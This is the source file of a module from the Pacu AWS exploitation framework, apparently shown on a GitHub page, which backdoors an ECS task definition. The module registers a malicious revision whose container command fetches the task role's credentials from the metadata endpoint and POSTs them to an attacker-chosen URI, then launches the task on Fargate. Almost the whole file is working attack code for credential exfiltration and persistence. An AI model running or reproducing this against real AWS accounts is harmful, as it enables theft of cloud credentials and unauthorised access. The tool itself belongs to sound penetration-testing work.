pacu / pacu / modules / ecs__backdoor_task_def / main.py

Ryan Gerstenkorn Support for packaging (#247) 743f9c9 · 3 years ago

202 lines (164 loc) · 8.62 KB

Code Blame Raw

```
#!/usr/bin/env python3
import argparse
from botocore.exceptions import ClientError
from random import choice
import os

# When writing a module, feel free to remove any comments, placeholders, or
# anything else that doesn't relate to your module.

module_info = {
    # Name of the module (should be the same as the filename).
    'name': 'ecs__backdoor_task_def',

    # Name and any other notes about the author.
    'author': 'Nicholas Spagnola from Rhino Security Labs',

    # Category of the module. Make sure the name matches an existing category.
    'category': 'EXPLOIT',

    # One liner description of the module functionality. This shows up when a
    # user searches for modules.
    'one_liner': 'this module backdoors ECS Task Definitions to steal credentials',

    # Full description about what the module does and how it works.
    'description': 'This module will enumerate a provided docker image and attempt to find a metho
```

```
27          # A list of AWS services that the module utilizes during its execution.
28          'services': ['ECS'],
29
30          # For prerequisite modules, try and see if any existing modules return the
31          # data that is required for your module before writing that code yourself;
32          # that way, session data can stay separated and modular.
33          'prerequisite_modules': ['ecs__enum', 'ec2__enum'],
34
35          # External resources that the module depends on. Valid options are either
36          # a GitHub URL (must end in .git), or a single file URL.
37          'external_dependencies': [],
38
39          # Module arguments to autocomplete when the user hits tab.
40          'arguments_to_autocomplete': ['--task-definition',
41                                                                  '--cluster',
42                                                                  '--uri',
43                                                                  '--execution-role',
44                                                                  '--subnet',
45                                                                  '--security-group']
46      }
47
48      # Every module must include an ArgumentParser named "parser", even if it
49      # doesn't use any additional arguments.
50      parser = argparse.ArgumentParser(add_help=False, description=module_info['description'])
51
52      # The two add_argument calls are placeholders for arguments. Change as needed.
53      # Arguments that accept multiple options, such as --usernames, should be
54      # comma-separated. For example:
55      #     --usernames user_a,userb,UserC
56      # Arguments that are region-specific, such as --instance-ids, should use
57      # an @ symbol to separate the data and its region; for example:
58      #     --instance-ids 123@us-west-1,54252@us-east-1,9999@ap-south-1
59      # Make sure to add all arguments to module_info['arguments_to_autocomplete']
60      parser.add_argument('--task-definition', required=False, default=None, help='A task definition ARN'
61      parser.add_argument('--cluster', required=False, default=None, help='Cluster ARN to host task')
62      parser.add_argument('--uri', required=False, default=None, help='URI to send credentials to via POS
63      parser.add_argument('--task-role', required=False, default=None,
64                          help='ARN of task role, defaults to what is provided in the task definition')
65      parser.add_argument('--subnet', required=False, default=None,
66                          help='Subnet ID to host task. Subnet and security group must be in same VPC')
67      parser.add_argument('--security-group', required=False, default=None,
68                          help='Security group Id to host task. Subnet and security group must be in same
69
70      def ask_for_task_role(default=None):
71          task_role = input(f"Enter a task role to target ({str(default)})")
72
```

```
        if not task_role and not default:
            print("An explicit task role is required.")
            return ask_for_task_role()

        return task_role


    # Main is the first function that is called when this module is executed.
    def main(args, pacu_main):
        session = pacu_main.get_active_session()

        ###### These can be removed if you are not using the function.
        args = parser.parse_args(args)
        print = pacu_main.print
        input = pacu_main.input
        fetch_data = pacu_main.fetch_data

        summary_data = {"task_def": ""}

        if args.task_definition:
            task_definition = args.task_definition
        else:
            if fetch_data(['ECS', 'TaskDefinitions'], module_info['prerequisite_modules'][0], '--taskde
                print("    Pre req module not ran successfully. Exiting...")
                return None
            task_definitions = session.ECS.get('TaskDefinitions', [])
            for i in range(0, len(task_definitions)):
                print("    [{}]:{}".format(i, task_definitions[i]))
            task_def_input = int(input('    Enter the task definition ARN you are targeting: '))
            task_definition = task_definitions[task_def_input]

        if task_definition:
            region = task_definition.split(":")[3]

            if fetch_data(['ECS', 'Clusters'], module_info['prerequisite_modules'][0], '--clusters') is
                print("    Pre req module not ran successfully. Exiting...")
                return None

            if not args.cluster:
                clusters = session.ECS['Clusters']
                for i in range(0, len(clusters)):
                    print("    [{}]:{}".format(i, clusters[i]))
                cluster_input = int(input("    Provide a cluster to run this task definition: "))
                cluster = clusters[cluster_input]
            else:
                cluster = args.cluster
```

```
129
130
131             stager = [
132                 '/bin/sh -c "curl http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI > data.js
133                 '-d @data.json {}"'.format(uri)
134             ]
135             task_def_keys = [x for x in task_def['taskDefinition'].keys()]
136             temp = task_def['taskDefinition']
137             cont_def = temp['containerDefinitions'][0]
138             cont_def['image'] = 'python:latest'
139             cont_def['entryPoint'] = ['sh', '-c']
140             cont_def['command'] = stager
141             container_defs = [cont_def]
142
143             task_role = ask_for_task_role(temp.get('taskRoleArn'))
144
145             print("    Creating malicious task definition...")
146
147             resp = client.register_task_definition(
148                 family=temp['family'],
149                 taskRoleArn=task_role,
150                 executionRoleArn=temp['executionRoleArn'] if 'executionRoleArn' in task_def_keys else '
151                 networkMode='awsvpc',
152                 containerDefinitions=container_defs,
153                 volumes=temp['volumes'],
154                 placementConstraints=temp['placementConstraints'],
155                 requiresCompatibilities=temp['requiresCompatibilities'] if 'requiresCompatibilities' in
156                 cpu=temp['cpu'] if 'cpu' in task_def_keys else '256',
157                 memory=temp['memory'] if 'memory' in task_def_keys else '512'
158             )
159
160             current_revision = resp['taskDefinition']['taskDefinitionArn']
161
162             if args.subnet is None:
163                 if fetch_data(['EC2', 'Subnets'], module_info['prerequisite_modules'][1], '--subnets')
```

```
164                     print("    Pre req module not ran successfully. Exiting...")
165                     return None
166                 subnets = session.EC2["Subnets"]
167                 for i in range(0, len(subnets)):
168                     print("    [{}]:{}::{}".format(i, subnets[i]["SubnetId"], subnets[i]["VpcId"]))
169                 subnet_choice = int(input("    Input subnet ID to run the task definition: "))
170                 subnet = subnets[subnet_choice]["SubnetId"]
171             else:
172                 subnet = args.subnet
173 
174             if args.security_group is None:
175                 if fetch_data(['EC2', 'SecurityGroups'], module_info['prerequisite_modules'][1], '--sec
176                     print("    Pre req module not ran successfully. Exiting...")
177                     return None
178                 security_groups = session.EC2["SecurityGroups"]
179                 for i in range(0, len(security_groups)):
180                     print("    [{}]:{}::{}".format(i, security_groups[i]["GroupId"], security_groups[i]
181                 sg_choice = int(input("    Input the secuirty group to use: "))
182                 security_group = security_groups[sg_choice]["GroupId"]
183             else:
184                 security_group = args.security_group
185 
186             client.run_task(cluster=cluster, launchType="FARGATE", networkConfiguration={
187                 "awsvpcConfiguration": {
188                     "subnets": [subnet],
189                     "securityGroups": [security_group],
190                     "assignPublicIp": "ENABLED"
191                 }}, taskDefinition=current_revision)
192 
193         else:
194             print("    A task definition must be specified")
195             return None
196 
197         summary_data["task_def"] = current_revision
198         return summary_data
199 
200 
201     def summary(data, pacu_main):
202         return "    Malicious task definition ARN: {}".format(data["task_def"])
```